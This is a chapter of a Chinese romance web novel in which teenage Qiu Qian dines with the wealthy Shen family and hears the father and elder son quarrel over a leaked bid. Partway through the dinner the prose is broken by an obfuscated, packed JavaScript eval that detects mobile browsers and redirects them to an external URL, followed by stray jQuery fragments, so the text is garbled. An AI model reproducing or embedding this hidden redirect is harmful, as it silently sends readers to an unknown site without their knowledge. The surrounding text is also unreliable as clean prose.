邱千曾无数次在脑海中描绘过沈家的模样,但当她真正站在那扇鎏金大门前时,所有的想象都瞬间黯然失色。
整栋别墅好像电影里民国时期的风格,大门上精雕细琢着繁复的纹路,门廊悬挂着古铜色的宫灯。不时有佣人进出,见到他们都恭敬地欠身问好。
恍惚间,邱千突然倒吸一口凉气——
这不正是沈骥头像里的那栋建筑吗?照片中那个如诗如画的湖泊,原来就是眼前波光粼粼的日月湖。
她一直以为是某个欧洲湖畔小镇,却不想,那就是沈骥触手可及的日常。
站在巍峨的门廊下,邱千感到一阵眩晕,好像在做梦。不对,她连梦都不敢这么铺张和奢华。
“发什么呆,走啊!”沈琛没心没肺地推着她走上了台阶。
穿过大门,是宽敞又辉煌的客厅。
邱千好像又从民国穿越到了欧美的某间博物馆。墙上悬挂的油画在灯光下泛着柔光,斗柜上摆着的雕塑栩栩如生,就连门口的花瓶都散发着高不可攀的味道。
正目不暇接时,一阵轻盈的脚步声从楼梯传来。
沈夫人款款而至,一袭墨绿色苏绣旗袍,发髻间插着白玉簪子,端庄高贵,矜重文雅,比上次在办公室见到时还要光彩照人,宛若行走在博物馆中的另一道风景。
邱千顿时有些不知所措,偏偏沈骥和沈琛都不知道跑哪去了,偌大的客厅突然就剩下她一个。
“阿、阿姨好。”她磕磕巴巴地叫了一声。
“是千千吧?沈琛常提起你呢。”栾虹说话时微微前倾,眉眼弯弯,笑容和煦。
“嗯。”邱千用力点点头,喉间却像堵了团棉花,一时间竟想不出还能说些什么。
从未与“妈妈”相处过,让她在这样的场合,显得格外青涩与无措,只能局促地站在原地,手脚都不知道该往哪儿放。
“沈琛和我说了,要请你吃饭。来,跟阿姨说说,有什么忌口,我让厨房注意。”栾虹亲热地拉着她,坐在沙发上。
“我、都可以的。”邱千紧张地绞着手指,“对不起,打扰到您和叔叔了。”
“客气什么,一顿饭而已。沈骥被他爸爸叫上楼了,沈琛那熊孩子准是去洗手间了。”她轻轻拍了拍邱千的手背,“别拘束,就当自己家。”
邱千低垂的睫毛轻轻颤动,紧绷的肩膀终于放松了些许。
沈琛这时不知道从哪钻了出来,“妈,你干嘛拉着她不放,我还想带她回房间打游戏呢!”
说完,把外套随便丢在一旁的大花瓶上,“走,跟我上楼。”
“啊、我在这坐会儿就行。”邱千脸微微泛红。
“你这孩子,哪有让女同学去你房间的。”
栾虹点了一下儿子的脑袋瓜,翡翠戒指在灯光下泛着温润的光泽,“就在沙发上聊吧,不许上楼。”说完,便站起身走向厨房,张罗布菜。
邱千微微松口气,高悬的心总算落了些许。重新抬起头,环顾四周。
天花板上悬挂着一盏巨大的水晶吊灯,千万颗水晶珠折射着璀璨的光芒,耀眼得让人不敢直视。
西侧墙壁上挂着一座古铜色的落地钟,钟摆有节奏地左右摆动。东侧是一排装裱精美、色彩明艳的油画。
展示柜里摆放着各式雕塑艺术品——有洁白如玉的石膏像,有釉色温润的陶瓷,还有纹理分明的木雕和根雕,每一件看起来都价值连城。
邱千突然感觉自己像个白痴,真不知道怎么脑子一抽就跟过来了。沈琛这家伙又不搭理她了,拿着手机不知道在和谁组队。
直到一阵沉稳的脚步声从楼梯处传来,伴随着一个威严的中年男声,“这件事,务必时刻关注,不能掉以轻心。”
“好的,爸爸。”
邱千抬头看去,沈骥跟在一位中年男子身后缓步下楼,两人的神情都略显凝重。
那应该就是沈父了——约莫四十出头的样子,剑眉星目,英气逼人,锐利的眼神仿佛能洞穿一切。虽然穿着家居服,却散发着不怒自威的气势。
她慌忙站起身,叫了一声,“沈叔叔好。”
沈闻华微微颔首,示意她不必拘礼。
邱千战战兢兢跟着去了餐厅,四方桌子不大,显然是家人日常用餐的地方。
“你坐这!”沈琛一把拉她坐在自己旁边。
餐桌上,五套骨瓷餐盘洁白如雪,边缘描着细细的金线。餐盘两侧,银质刀叉在柔和的灯光下泛着冷冽的光芒。
竟然没有筷子——
“……”
邱千大脑嗡地一声。
她长这么大还没吃过西餐,最多吃过两回自助披萨,还是用手抓的。
难道要在这里表演刀叉处女秀?
怎么办?手心不知不觉冒了一层汗。阳光穿过庭院,余温洒在脸上微微发热。
她偷偷在裤子上搓了搓手,拼命回忆起电视里看到的片段,貌似是先铺一块餐巾,然后……是左手拿刀、还是右手拿刀来着?
左手拿刀、右手拿叉。不对,不对!好像是右手拿刀?
算了,等别人先动,再跟着学吧。
千万、千万不要在沈骥面前丢脸。
十根手指在桌下用力绞着,心跳也扑通扑通加速,就在她快要窒息时,一个清润的声音如天籁般响起——
“刘妈,邱千今天手腕伤了,麻烦您给她拿一双筷子,再拿一个木质汤匙,饭后帮她揉揉手。”沈骥的声音平稳又温和。
紧绷的肩膀终于放松,邱千悄悄抬眼,想向沈骥投去感激的目光,但他却只是专注地用毛巾擦着手。
一旁的沈琛已经提前开动,左手举着叉子,右手握刀麻利地切下一大块牛排。
“你同桌的手腕坏了,你都不知道?就着急吃,怎么那么饿。”栾虹有些不满。
沈琛嘴里糊着一块牛排,浑浊不清地呜呜开口,“我昨天跑了200、400,还有接力,今天又跑了一遍接力,当然饿了。她手都好了,是她自己说的。”
“行了行了,吃着东西不要讲话。”栾虹随即转向邱千,“千千,别怪沈琛,他从小就这样。对了,你今年多大了?”
“阿姨,我十七岁。”
邱千刚说完,沈琛又嘟囔了一句,“是你要问的,还不让我说。”
“那比沈琛还大一岁。”栾虹点点头,又转头看向沈琛,“你看千千多稳重,你就还像个孩子。再看看你哥,都能帮爸爸处理公司的事了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473378|169020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“沈一都快十九了,我才多大。”沈琛放下叉子,又灌下一大口果汁。
栾虹轻笑两声,又看向邱千,“怎么不吃?要不要先尝尝刘妈做的蔬果派,他们兄弟俩小时候最喜欢吃这个。”
佣人小心翼翼地端来一个天鹅造型的深盘,盘中卧着一颗栩栩如生的大“草莓”和一颗饱满的“贝贝南瓜”。“草莓”表面甚至还有细小的籽粒,“南瓜”的纹路也清晰可见。
这竟然是甜品?邱千眼睛瞪得圆圆的,实在不敢相信甜品竟能做得如此逼真。
直到沈琛手起刀落,干脆利落地切开那颗“草莓”,露出里面如蛋糕般的内馅,还有缓缓流淌的诱人流心,邱千才如梦初醒,确定这真的是可以入口的美味。
“你吃哪个?这是草莓的,那个是南瓜的。”沈琛终于记得他还带了同桌回来。
“哪个都可以,我自己来吧!”邱千客气地回了一句。
她其实喜欢吃南瓜的。
以前在福利院没什么好吃的,唯一的甜品就是蒸南瓜和烤地瓜。后来渐渐长大,每次吃到南瓜和地瓜,都好像回到了无忧无虑的童年。
“二少爷,我来给邱小姐切吧!”刘妈拿过餐刀,手法娴熟地切下一角南瓜派,金黄的馅料在盘子里微微颤动,散发着诱人的甜香。
“谢谢。”
邱千吃了两角蔬果派,余光悄悄扫到对面的沈骥,他吃东西的时候很优雅,不像沈琛似的的狼吞虎咽。
修长的手指轻握银质餐具,切割的动作精准得如同在演奏乐器。就连用餐刀的姿势,都像是从电影里走出来的贵族。
见他吃的是南瓜派,邱千心头忍不住涌起一丝隐秘的欢喜——他们又多了一个共同爱好。
一直沉默的沈闻华这时放下刀叉,话题再次回到工作上,“沈骥,商场如战场,谨慎固然重要,但决断力才是制胜关键。你团队里那个内鬼,打算怎么处置?”
“爸爸,我会尽快把这个人找出来。”
“不用找,直接解散,这次就当作你第一次失败的教训。”沈闻华的语气不容置喙,带着一股上位者的强硬。
“不行!”沈骥罕见地有些激动,“我还没有输。”
“没输?这次是几百万,下次就是几千万、几个亿!”
沈闻华突然加重的声音,把气氛推向紧绷。
此时他满脸怒容,眉头紧锁。对面的沈骥则紧抿着嘴唇,眼神坚毅。
邱千小心翼翼放下筷子,隐约明白了他们谈论的事情。
前几天听沈琛提了一嘴,好像是沈骥的创业团队投标一个装修的小项目,本来是十拿九稳的,但是团队出了内鬼,把底价和方案泄露给了对手公司,导致沈骥的团队和第一名失之交臂,功亏一篑。
看来,直到现在,这个内鬼还逍遥法外,没被揪出来。
栾虹安抚地拍了拍沈闻华的手背,目光微微扫向邱千,示意给沈骥留些面子。
须臾后,沈闻华紧琐的眉才慢慢舒展,但语气依旧带着几分威严,“这件事你尽快处理,我给你三天时间。”
“爸爸,我一定会找出那个人。”沈骥语调平缓,却强硬有力、毫不退让,“但是既然这是我的团队,也希望您不要过多插手。”